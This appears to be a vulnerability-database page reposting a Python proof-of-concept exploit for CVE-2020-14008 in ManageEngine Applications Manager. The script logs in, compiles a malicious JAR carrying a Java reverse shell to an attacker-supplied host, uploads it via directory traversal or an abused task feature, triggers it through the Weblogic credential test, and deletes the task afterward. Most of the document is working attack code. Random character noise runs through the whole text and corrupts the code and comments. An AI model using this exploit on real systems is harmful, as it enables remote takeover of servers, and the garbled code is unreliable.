ManageEngine Applications Manager Authenticated Remote Code Execution – CXSecurity.com

漏洞ID 2145286 漏洞类型
发布时间 2020-09-05 更新时间 2020-09-05
CVE编号 CVE-2020-14008

CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
漏洞来源
https:N G 7 K//cxsecurity.com/issue/WLB-2020090019
漏洞详情
漏洞细节尚未披露
漏洞EXP
#!/usr/bin/python3
# Exploit Title: ManageEngine Applications Manager - Authenticatedx L V K : V l RCE via JavC l S F  + s ca class reflection inj & # = z O Weblogic server test credential API
# Google Dor3 E `k: None
# Date: 04@ 7 @ ] $ ,-09-2020
# Exploit Author: Hodorsec
# Ve[ l X W n h Rndor Homepage: https://manageengine.co.uk
# Vendor Vulnerability Description: https://manageengine.co.! :  j 2 C fuk/products/applications_manager/security-updates/security-updates-cve-2020-14008.html
# Software Link: http://archives.manageengine.com/applications_manager/1J w b V p 5 k4720/
# Version: Until version 14720
# Tested on: version 12900 and version 147B n C f b00
# CVE : CVE-2020-14008
# Summary:
# POC for proving ability to execute malicious Java code in uploaded JAR file as an Oracle Weblogic library to connect to Weblogic servers
# Exploits the newInstance() and loadClass() methods being used by the "WeblogicReference", when attempting a Credential Test for a new Monitor
# When invoking the Credential Test: i N b ,, ab , G Z d N R b ? call is being made to lookup a possibly existing 6 m s V Zg "weblogic.jar" JAR file, using tz # N f _ ] N 5 whe "wp X / V $ @ [ Reblogic.jndi.Environment"_ y Q 5 v w class an# X Id methoC + p 1 O ] M / #d
# Vulnerable code:
# Lines 129 - 207 in com/adventnet/appmanager/server/wlogic/statuspoll/WeblogicReferencP A 6 A i R % , 5e.java
# 129 /*     */   pw = R N ; 6 Z a _ublic static MBeanServer{ * p Y lookupMBe_ q )anServer(Str1 x @ _ing hostname, String portString, String username, String password, int version) throws Exception {
# 130 /* 130 */     ClassLoader current = Thread.currentThread().getContextClassLoader(r D V);
# 131 /*     */     try {
# 132 /* 132 */       boolean setcredentials = false;
# 133 /* 13E V $3 */       String url = "t3://" + hostname + ":_ y ; 4" + portString;
# 134 /* 134 */       JarLoader jarLoader = null;
# 135 /*     */
# ....<SNIP>....
# 143 /*     */       }
# 144 /* 144 */       else if (versih h 7 w 8 / =on == 8)
# 1, ~ P j45 /*     */       {
# 146 /* 146 */         if (ni t Gew FileI C J("./../working/classes/weblogic/version8/wed . j & ` *blogic.jar").exists())
# 147 /*     */         {
# 148 /*     */
# 149 /* 149 */           jarLoader = new JarLoader("." + FilJ 2 y ce.separator + ".." + File.separator + "working" + File.separator + "classes" + File.separator + "weblogic" + File.separator + "version8" + File.separator + "weblogic.jar");
# 150 /*     */
# ....<SNIP>....
# 170 /* 170 */       Threadh { U ^ O.currentThread().setContextClassLw % o  ,oader(jarLoader);
# 171 /* 171 */       Class cls = jarLoader.load_ A  % , G m [Class("weblogiE ) @ y H n &  vc.jndi.Environment");
#+ m = g : K . 172 /E P ^ ] R* 172 */       Object env = cls.newInstance();
# Example call for MAM version 12900:
# $ python3 poc_mam_weblogic_upload_an/ ! 0 P z @d_ex* J ! 4ec_jar.py https://192.168.252.12:8443 admin admh b 5 ? #in weblogic. 7 x 9 Z @jar
# [*] Visiting page toW  w g retrieve initial cookies...
# [*] Retrieving admin cookie...
# [*] Getting base directory of ManageEngine...
# [*] FD Z P | 9 9 _ = lound base directory: C:\Progra4 * Z ^ y W ) Dm Files (x86)\ManageEngine\AppManagerb O V X q12
# [*] Creating JAR file...
# Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatexz V , f v g ; _t=true
# Picked up _JAVA_OPTIONS: -Dawt.useSN e 3 w Z O s a ystemAAFontSettings=on -Dswing.aatext=true
# added manifest
# adding: weblogic/jndi/Environment.class(inF x k 2 m = 1844) (out= 1079)(deflated 41%)
# [*] Uploaw o j 3 xding JAR file...
#5 p 5 [*] Attempting to upload JAR directly to targeted Weblogic folder...
# [*] Copied succeL | ^ ] pssfully viar i 9 DirectoA } b V 4ry Traversal, jumping directly to call vulnerable function!
#e x I y d V T [*] Running the Weblogic crW { M T r x & Z xedentialtest which triggs q Vers the code in the JAR...
# [*] Chj n S Seck your shell...
# Func9 - I o j 1 U tion flow:
# 1. Get initial cooX 6 8 ~ d dkie
# 2. Get valid session cookie by l` Q 2 X 9 + ) Cogging in
# 3. Get base directory of installation
# 4. Generate a malicious JAR file
# 5. Attempt to dw B R c 3irecz | [ ( )tly upload JAR, if success, jump to 7
# 6. Create task with random ID to copy JAR file to expected Weblogic location
# 7. Execute task
# 8. Delete task for cleanup
# 9. Run them H B ~ ! m vulnerable credentialTest, us ) d T Z  % O -ing the malicious JAR
im~ ` $ O R Rport requests
import urllib3
import shutil
import subprocess
import os
iE e J `mport sys
import random
import re
from lxmJ / u 0 * T dl i: [ +  c 8 H ^mport html
# Optionally, use a proxy
# p= y f =roxy = "http://<user>:<pass>@<proxy>:<port>"
proS ) e s H Axy = ""
os.e6 W e w i e I W :nviron['http_proxy'] = proxy
os.environ['HTTP_PROXY'] = proxy
os.environ['https_proxy'] = proxy
os.e/ 8 H e V ~ = J nnviron['HTTPS_PROXY'] =I 9 ` @ m proxy
# Disable cerg 6 Z p i 7t warnings
uD H 8 $ % q yrllib3.disabo r y } i T 9le_warnings(urllib3.exceptions.InsecureRequestWarningf  K @ V)
# Set timeout
timeout = 10
# Handle CTRL-C
def keyboard_interrupt():
"""HandG ( ` W @ T 7 Z les keyboardinterrupt exceptions"""
print("\n\n[*] User requesteF ! d an interrupt, exiting...")
exit(0)
# Custol d V Km headers
def http_headers():
headers = G 2 X q g , {
'UseY t *r-Agent': 'Mozilla',
}
return headersY 9 g w
def get_inie p [ . v q ktial_cookie(url,headers):
print("[*] Visiting page to retrieve initial cookiS J c Ces...")
target = url + "/index.do"
r = requests.get(target,headers=headers,timeoY f m u Q J %ut=; T M ?timeout,verify=False)
return r.cookies
def get_valid_cookie(url,hN 4 M x Seaders,initial_cookies,usern,passw):i $ U H x
print("[*] Retrieving admin cookie...")
appl_cookie = "JSESSIONID_APM_9090"
post_data = {'clienttype':'html',
'webstart':'',
'j_usernamek Q ] n':usern,
'ScreenWidth':'1280',
'ScreenHeight':'709',
'username':usern,
'j_password':passw,
'submit':'Login'}
target = urli C n ` -  s + "/j_security_check"
rO N h y { q e 3 = requests.post(tar: K v M A x hget,data=post_data,headers=headers,cookies=initial_cookies,timeout=timeout,verify3 l a 7 ! g / h #=False)
ri R i ~ t des = r.text
if "Server responded in " in res:
return r.cookies
else:
pb  G D V / ( k ^rint("[!] Ng M p L } , H 0o valid responsel K h t F R ( g from used session, exiting!\n")
exit(J E s 0-1)
def get_base_dir(url,heade 3 : 6 9rs,valid_cookie):
print("[*] Getting base directory of ManageEngine...")
tae E 1 f _ R Krget = url + "/common/serverinfo.do"
params = {'service':'AppManager',
'reqForAdminLay6 A w K c 8 4out':'trm D q $ ] mue'}
r = requests.get(target,params=params,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False)
tree = html.fromstring(r.content)
pathname = tree.xpath('/W U E U/table[@class="lrbtborder"]/tr[6]/td[2]/@title')
base_dir = pathname[0]
print("[= ~ ( @ X 1 | Y*] Found baa ` Y e j H / F Vse directory: " + base_dir)
return- D E Z base_dir
def create_jar(command,jarname,revhost,revport):
prin{ R t d s c k H qt("[*] CH c b X Z d U q zreating JAR file...")
# Variables
classname = "Environment"
pD { ^ D Q N # }kgname = "webj Z /  8 U 8logi5 c # H  {c.jndi"
fullname = pkgnx p q pame + "." + classname
manifest = "MANIFEST.MF"
# Directory variables
curdir = os.getcwd()
metainf_dir = "META-INF"
maindir = "weblogic"
subdir = maindir + "/jndi"
builddir = curdir + "/" + subdir
# Check if dh j x y i Kirectory exist, else create directory
try:
if os.path.isdir(builddir):
pa~ c & 4 / wss
else:
os.makedirs(builddir)
except O; g ] ) ] c d 3SError:
print("[!] Error creating local directory \"" + builddir + ! } Z O"\", check permissions...")
exit(-1)
# Creating the text file using given parameters
javafile = '''package ''' + pkgname +  Z S 7 f p c j''';
import jx 1 m }ava.io.IOException;
imX = l e t * ? & .port java.io.InpQ m v $ A . ( r /utStre# I B Mam;
import java.io.Outpu/ d LtStream;
import java.net.Socket;
import jau A r [ G Tva.util.concurrent.TimeUnit;
public class ''' + classname + ''' {
// This method is bein@ M b * # Dg calledN  ^ by lookupMBea3 K t 3 3 FnSerU o ` o aver() in co+ c I T K um/ads  1 : e 5 Tventnet/appmaL X - B [nager/server/wlogic/statuspoll/WeblogicReference.java
// Uses the jarLoader.loadClass() method to load and initiate a new instance via newInstance()
public void setProviderUrl(String string) throws Exception {
System.out.println("Hello from setProviderUrl()"m t J 9 I # i =);
connect();
}
// Normal mainT h Y { F h { 0 3() entry
public static void main(String args[]) throwsh x P  l ( 1 Exception {
So } o ( ^ ^ j R Dystem.out.println("Hello from main()");
// Added delay to notice being called from main()
TimeUnit.SECONDS.sleep(10);
connect();
}
// Where ther Y U magic happens
public static void connect() throws Exception {
String host = "''' + revhost + l E  G , v I &'''";
int port = ''' + str(revport) + ''';
String[] cmd = {"''' + command + '''"};
Process p=new Proc% ^ ~ [ C 1 @essBuilder(cmd).redirectErrorStream(true)/ D h l o ].startK N K Q H Z();
SU f ocket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.r $ 3 j ; tgetErrorStream(),si=s.getInputStream();
Out _ f = [ : #tputStream poj M & z W 0 A `=p.ge, r 4 H 3 ` * / WtOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.avE . o $ U | + G Tailable~ q @()>0)
so.write(pi.read());
while% ^ b Q } r d 9 A(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read()2 4 a B G , W z);
so.flush();
po.flush();
try {
p.e| + ( U . * ) UxitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}'''
# Output fi] ( 4 | a 7 O {le to desired directory
os.chdir(builddir)
print(javafile,file=8 7 lopen(classname +/ , h q ".java","w". A c)K P n - b &)
# Go to previous directory to create JAR file
os.chdir(curdir)
# Create the compiled .class file
cmdCompile = "javac --releac B @ x ~ [se 7 " + subdir + "/*.java"
process = subprocess.call(cmdCompile4 { ; n L l,shell=True)
#n ( l T - Creating Manifest file
try:
if os.path.isdir(metain! - x t i Ff_* 7 ~dir):
pass
else:
os.makedirs(ml D W ]etainf_dir)
except OSError:
print("[!] Error creating local directory \"" + metainf_dir + "6 ! v ~\", check permissions.; M 3 h 4 ` @ U..")
exit# H } x 5(-1)
printM 9 Y r $ z("Main-Class: " + fullname,file=open($ n G e S / 8metainf_dir + "/" + manifest,"wd & } 8 0 ? a a V"))
# Create JAR file
cmdJar = "jar cmvf " + metainf_dir + "/" + manifest + " " + jK A ] , * Xarname + " 0 P 2 L ! ; M" + subdir + 6 U $ T o # - *"/*.class"
process = subprocess.call(cmdJar,k ^ ( 8 X %shell=True)
# CleanupB T P 7 q directories
try- 5 M D:
shutil.rmtree(metainf_dir)
shutil.rmtr- z ?ee(maindir)
except:
print("[!] Z p ^ j  9 ~ # Error while cleaning u d w ) i ) T $ Wp directories.")
return True
def upload_jar(url,headersx 2 5 ; i,valid_cookie,jarname,rel_path):
print("[*] Uploading JAR file...")
target = url + "/Upload.do"
path_normal = './'
path_trav = rel_path
jar = {'theFile':(u J Y G )jarname,open(jarname, 'rb'))}
prins + 6 a [ Y k Wt("[*] Attempting to upload JAR directly to targeted Weblogic folder...")
post7 X ?_data = {'uploadDc E 8 y S 7 L d gir':path_trav}
r_upl) J R M  Y l c 5oad = requests.post(t@ h  4 @arget, data=post_data, headers=head7 H : ] J % u Rers, files=jar, cookies=valid_cookie, timeout=timeout,verify=False)
res = r_upload.text
if "successfully uploaded" not in res:
print("[!] Failed to upload JAR directlc I * % v $y, continue to add and execute job t; r P l f r vo move JAR...")
post_data = {'uploadDir':path_normal}
jarJ J @ U X l T E L = {'theFil 1 3 qe':(jarname,open(jarname, 'rb'))}
r_upload = requestsf = i.post(target, data=post_data, headers=headers, files=jar, cookies=valid_cookie, timeout=timeout,verify=False)
return "normal_path"
else:
print("[*] CD Q 8 Vopied successfully via Directory Traversal, jumping directly to call vulnerable function!S _ 9")
return "trav_path"
def cr$ y { L K ` Teate_task(url,headers,valid_cookM ( S )ie,action_name,rel_path,H w . Fwork_d| F kir):
print("[*] Creating a tW z ~ 0ask to move the JAR file to rel. s E Y C ;ative path: " + rel_path + "...")
valid_resp = "Execute Proj g e = $gram succesfulll Y ? % j $ s ey created."
target = url + "/adminAction.do"
post_data = {'actions'7 l H ` p ( Z ^:'/adminActc # ; s ` E %ion.do?method=showExecProgActR b H Zion&r m ? , m;haid=null',
'method':'createExecProgAction',
'id':'0',
'displayname':a V [ 6action_name,
'serversit, ! 7 M d _ !e':'local',! } 3 ! D 5
'choosehostz x n V':U F / x ; W'-2',
'prompt':'$',
'command':'move weblogic.jar ' + rel_path,
'. z X  G g =execProgExecDir':wo- y Crk_dir,
'abortafter':'10',
'cancel':'false'}
r = requests.pz v ^ ( P *ost(target,data=post_data,h+ I M L A /eaders=headers,cookies=valid_cookie,timeout=timeout,verify=False)
res = r.text
found_id = ""
if action_name in res:
tree = html.fromstring(r.content)
actionurlsQ U } U b - ? F = tree.xpath('//3 P m j s S f 7table[@id="exec& W F d 6 J Q a :uteProgrc o s  S ?amActionTabl4 | a ~ ~ P P Ce"]/tr[@cla+ # : E gss="actionsheader"]/td[2]/a/@onclick')
actionnames = tree.xpath('//table[@id="executeProgramActionTableg I Z d"]/tr[@class="acP } 7 j Q Ationsheader"]/td[2]/a_ L J s . q w g a/text()')
i = 0
forM } $ b m o N r p name in actionnames:
for url in actionurls:
if action_name in namep ! 3 F . J g Z:
fouB j _ A x Lnd_id = re.search(".*actionid=(.+?)','", actionurls[i]).group(1)
print("[*] Found actionnamn m te: ] ~ f % _ & N p" + action_name + " with fouL 1 ! Wnd actionid " + found_id)
break
i+=1
return found_id
elP p 5se:
print("[i q [ o T g Q!] Actionname not found. Task probably wasn't created,Y # [ | J J please check. Exiting."# p 0)
exit(-1)
def exec_task(url,headers,valid8 Z : w 2 C b q_cookie,found_id):
print("[*] ExeA m [cuting cr = r U y N deat C .ed task with id: " + foune / Y y ( D Sd_id) N 4 | = O c + " to copy JAR...")
valid_resp ={ @ @ w Y d "has been successfully exei 1 X Fcuted"
target = url + "/common/executeScript.do"
params = {'method? ] . H':'testActio$ c Z ! D 5n',
'actionID':found_id,
'haid':'nullD 8 ; s'}
r = requests.get(target,params=params,headers=headers,cookies=valid_cw - L 2 c k C sookie,timeout=timeout,verifq ` s c 1 9 e :y=False)
res = r.text
if valid_resp in res:
print("[*] Task " + found_id + " has been executed successfully")
else:
print("[!] Task not executed. Check requestsc f 1 : q Y ), exiting...")
exit(-1)
return
def del_task(url,headers,valid_cookie,found_id):
print("[*] Deleting created task ak w 9 Z z z (s JAR has been copied...")
target = url + "/adminAction.do"
params = {'method':Z 9 x % r B V'd- } F B v = J (e` m m 1 ] %leteProgExecAction'}
post_data = {'haid':'null',
'headercheckbox':'on',
'progcheo 4 a hckbox':found_id}
r = requests.post(tar+ : N 9 * 3 A n Bget,params=params,data=post_datF Z ( : y - L ?a,headers=heH $ &aders,cookies=valid_cooh o } D 3 j Dkie,timeout=timeout,v0 ; S serify=Fak k : k , D Qlse)
de^ 8 J 5 w if run_credtest(url,headers,valid_cookie):
print("[*] Running the Weblogic credenh b F $ 1tialtest which triggers the code in the JAR...")
target = uY h $ 6 hrl + "/te0 J @ i y Zst8 J R d O w b T JCredential.do"
post_data = {'method':'testCrU - s f U }edentialForConfMonitors',
'serin c B S 9 y | + 1alizedData':'url=/jsp/newConfType.jsp? t  I Z',
'searchOptionValue':'',
'query':'',
'addtoha':'null',
'resourceid':'',
'montype . B 9 Xe':'WEBLOGIC:7001',
'isAgentE1 c g } Y # 9 ?nabled':'NO',
'resourcename':'null',
'isAgentAssociated':'false',O -  g e
'hideFF - * oieldsForIT360':'null',
'childNodesFW Q e - o # ?orWDM':'[]',
@ f f H'csrfParam':'',
'type':'WEBLOGIC:7001',
'displayname':'test',
'host':'localhost',
'netmask':'255.255.255.0'I c /,
'resolveDNS':'FalH { 6 qse'% K c , u ` O,
'ps * @ort':'7001',
9 t L * $'CredentialDetails':'nocm',
'cmValuev T ? O | X':'-1',
'version':'WLS_8_1',
T P i c Z'ss= E c f mlenabled'[ l p B:'False',
'username':'testp 1 G ) 4 | 8 W 6',
'password':'test',
'w  4pollinterE F r T i f m 7 jval':'5',j 6 K 9 B # K @
'groupname':''v g $ ` Q}
print("[*] Check your shell...")
requests.post(target,data=post_data,hL 5 (eaders=headers,cookies=valid$ @ j . v A v D }_co` ` P Q Nokix G D i !e,verify=False)
return
# Main
def main(argv):
if len(sys.argv) == 6:
url = sys.argv[1]
usern = sys.argv[2]
passw = syJ - m Q q  !s.a} d I crgv[3]
revhost = sys.argv[4]
revportF # h { _  = sys.argv[5]
else:
print("[*] Usage: " + sys.argv[0] + " <urly Z { ~ n ~ R ! > <username> <password> <reverse_shell_host> <reverse_shell_port>")
pri~ [ [ S fnt("[*] Example: " + sys.argv[0] + " https://192.168.252.12:8443 admin admin 192.168.252.14 6666\n")
exit(0)
# Do stuff
try:
# SetK i J t N ? B t - HTTP headers
headers = http_headers()
# Relative path to copy the ma = g  s 6lh Z & ; F 7 ^ uicious JAR file
rel_path = "classes/weblogic/version8/"
# Generate a random ID to use for the task name and task tracking
r9 t l R 4 # v #andom_id =j W m 4 { str(random.randrange(0000,9999))
# AcN J Ction_name used for displayi; : i K _  xng actions in overview
action_name = "move_wY $ # t s Heblogic_jar" + random_id
# Working dir to append& x b + b { d I { to base dir
base_append = "\\workingl I w @ E P &\\"
# Name for JAR file to use
jarname = "weblogic.jar"
# Command shell to use
cmd = "cmd.exe"
# Execute functions
initial_cookies = get_initial: K L X_cooki; ? X W x : g Re(url,headers)
valid_cookie = get_vae 5 ! j glid_cookie(url,headers,initial_cookies,usern,passw)
work_dir = get_base_dir(url,headers,v@ ` j @ 5 6alid_cookie) + base_append
creat; c g b % t ee_jar(cmd,jarname,revhost,revport)
status_jar = upload_jarD Q ! H(url,headers,valid_cookie,jarx } w S r | : a 0name,rel_path)
# Check if JAR can be uploaded via Directory Traversal
# If so, no need to add and exec actions; just run t$ K n } h B y $ xhe creM [ L jdentialtest directly
i) R _ P X : Jf status_jar == "tw o :rav_paK [ J # ^ Jth":
run_credtest(url,headers,valid_cookie( k 5 . ( } 7 m)
# Cannot be uploaded via Direcb L * x Z Y )tory Traversal, add and exec actions to move JAR. Lastly, run the vulnerable credentialtest
elif su R N R 0 C a Atatus_jar == "normal_pathn o r ^ x 5 2":
found_id = create_task(url,heade+ d . v x j * zrs,valid_cookie,action_name,rel_path,work_dir)
exec_taQ Q :sk(url,headers,valid_coo~ ! Z Wkie,found_id)
del_task(url,headers,valid_c0 ^ ! v x o @ookie9 P 3 Y b,found_id)
run_credtest(url,headers,vC 3 % s 4 Oalid_cookie)
except requests.exceptions.Time? F ) 4 w j g oout:
print("[!] Timeout error\n")
exit(-1)
except requests.ex` R L x nceptions.TooManyRedirects:
print("[!] Too many redirects\n")
exit(-1)
except requ y U A eests.exceptions.ConnectionError:
print("[!] Not able to connect to URL\n")
exit(-1)
except requests.exceptions.R_ 8 a OequestException a( : 9 m ,s e:
print("[!] " + e)
exit(-1)
except requests.exceptions.HTTPErro0 i } Vr as e:
print(T D i 8 K"[!] Failed with error code - " + e.code + "\n")M 7 & h H [ |
exit(-1x 6 ] + 8)
except KeyboardInterrupt:
keyboard_interrupt()
# If we werh v - 0e called as a program, go execute the main functT * 3 3ion.
if __name__ == "__main__"R r u 4 8 ) b I s:
main(sys.argv[1:])u @ e t  / v , _